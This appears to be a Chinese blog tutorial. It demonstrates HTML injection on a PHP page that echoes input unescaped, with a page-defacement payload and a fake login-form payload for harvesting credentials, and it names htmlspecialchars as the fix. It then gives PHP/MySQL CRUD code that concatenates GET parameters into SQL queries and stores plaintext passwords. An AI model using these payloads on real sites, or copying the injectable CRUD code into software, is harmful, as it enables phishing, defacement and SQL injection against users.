html注入以及php对数据库的增删改查
html注入
<html> <head> <title>html注入</title> <meta charset="utf-8"> </head> <body> <form action="" method="get"> <input type="text" name="html"> <input type="submit" value="提交"> </form> <?php if(@$_GET['html']) { echo $_GET['html']; //echo htmlspecialchars($_GET['html']); } ?> </body> </html>
效果输入的东西会返回到页面上

发现get方式提交

然后尝试输入<h1>123<h1>,发现解析了HTML代码

那么我们输入<table style="left:0px;top:0px;position:fixed;z-index:5000;position:absolute;width:100%;height:100%;background-color:black;"><tr><td><h1 style="color:white;z-index:6000;text-align:center;">hacked by 123</h1></td></tr></table>

伪造用户登录界面
<table style="left:0px;top:0px;position:fixed;z-index:5000;width:200%;background-color:white;"><tr><td><form action="http://127.0.0.1/login.php" method="post"> 账号 :<input type="text" name="username"><br>密码 :<input type="password" name="password"><br><input type="submit" value="登陆"></form></td></tr></table>

将用户输入的数据收集到自己数据库或记事本
修复(输入点或输出点)
htmlspecialchars($_GET['html']);

php对数据库的增删改查
查
<?php $link = mysqli_connect('127.0.0.1','root','root'); if(!$link) { exit('数据库链接失败'); } mysqli_set_charset($link,'utf8'); mysqli_select_db($link,'test'); $sql = "select * from user"; $res = mysqli_query($link,$sql); echo '<table width="600" border="1">'; echo '<th>编号</th><th>用户名</th><th>密码</th><th>操作</th>'; while($result = mysqli_fetch_assoc($res)) { echo '<tr>'; echo'<td>'.$result['id'].'</td>'; echo'<td>'.$result['username'].'</td>'; echo'<td>'.$result['password'].'</td>'; echo '<td><a href="update.php?id='.$result['id'].'" rel="external nofollow" >修改</a> /<a href="del.php?id='.$result['id'].'" rel="external nofollow" >删除</a></td>'; echo '</tr>'; } echo '<table/>'; echo '<a href="insert.php" rel="external nofollow" >添加</a>'; mysqli_close($link);
删 del.php
<?php $id=$_GET['id']; $link = mysqli_connect('127.0.0.1','root','root'); if(!$link) { exit('数据库链接失败'); } mysqli_set_charset($link,'utf8'); mysqli_select_db($link,'test'); $sql = "delete from user where id=$id"; $res = mysqli_query($link,$sql); //$result = mysqli_fetch_assoc($res); // var_dump($res); if($res && mysqli_affected_rows($link)) { echo '删除成功'; } else { echo '删除失败'; } mysqli_close($link);
改 updata.php
<?php $id=$_GET['id']; $link = mysqli_connect('127.0.0.1','root','root'); if(!$link) { exit('数据库链接失败'); } mysqli_set_charset($link,'utf8'); mysqli_select_db($link,'test'); $sql = "select * from user where id=$id"; $res = mysqli_query($link,$sql); $result = mysqli_fetch_assoc($res); //echo $id; //var_dump($result); ?> <html> <form action="doupdate.php"> <input type="hidden" value="<?php echo $id; ?>" name="id"> 编号:<input type="text" value="<?php echo $result['id']; ?>" name="id"><br/> 用户名:<input type="text" value="<?php echo $result['username']; ?>" name="username"><br/> 密码:<input type="text" value="<?php echo $result['password']; ?>" name="password"><br/> <input type="submit" value="执行修改"> </form> </html>
增 insert.php
<html> <form action="insert into.php"> 用户名:<input type="text" name="username"> 密码:<input type="text" name="password"> <input type="submit"> </form> </html>
insert into.php
<?php $username=$_GET['username']; $password=$_GET['password']; // var_dump($_GET); $link =mysqli_connect('127.0.0.1','root','root'); if(!$link) { exit('数据库链接失败'); } mysqli_set_charset($link,'utf8'); mysqli_select_db($link,'test'); $sql = "insert into user(username,password) values('$username','$password')"; $res=mysqli_query($link,$sql); $id=mysqli_insert_id($link); //var_dump($res); if($res) { echo '修改成功'; } else { echo '修改失败'; } mysqli_close($link);
结束语
温馨提醒:如有技术问题以及资源失效请联系站长 QQ89549822 进行反馈!!!
您阅读本文耗时: 0小时02分35秒
上一篇: php基础知识分享
下一篇: 支付宝当面付对接XUEIDC系统【教程】
评论列表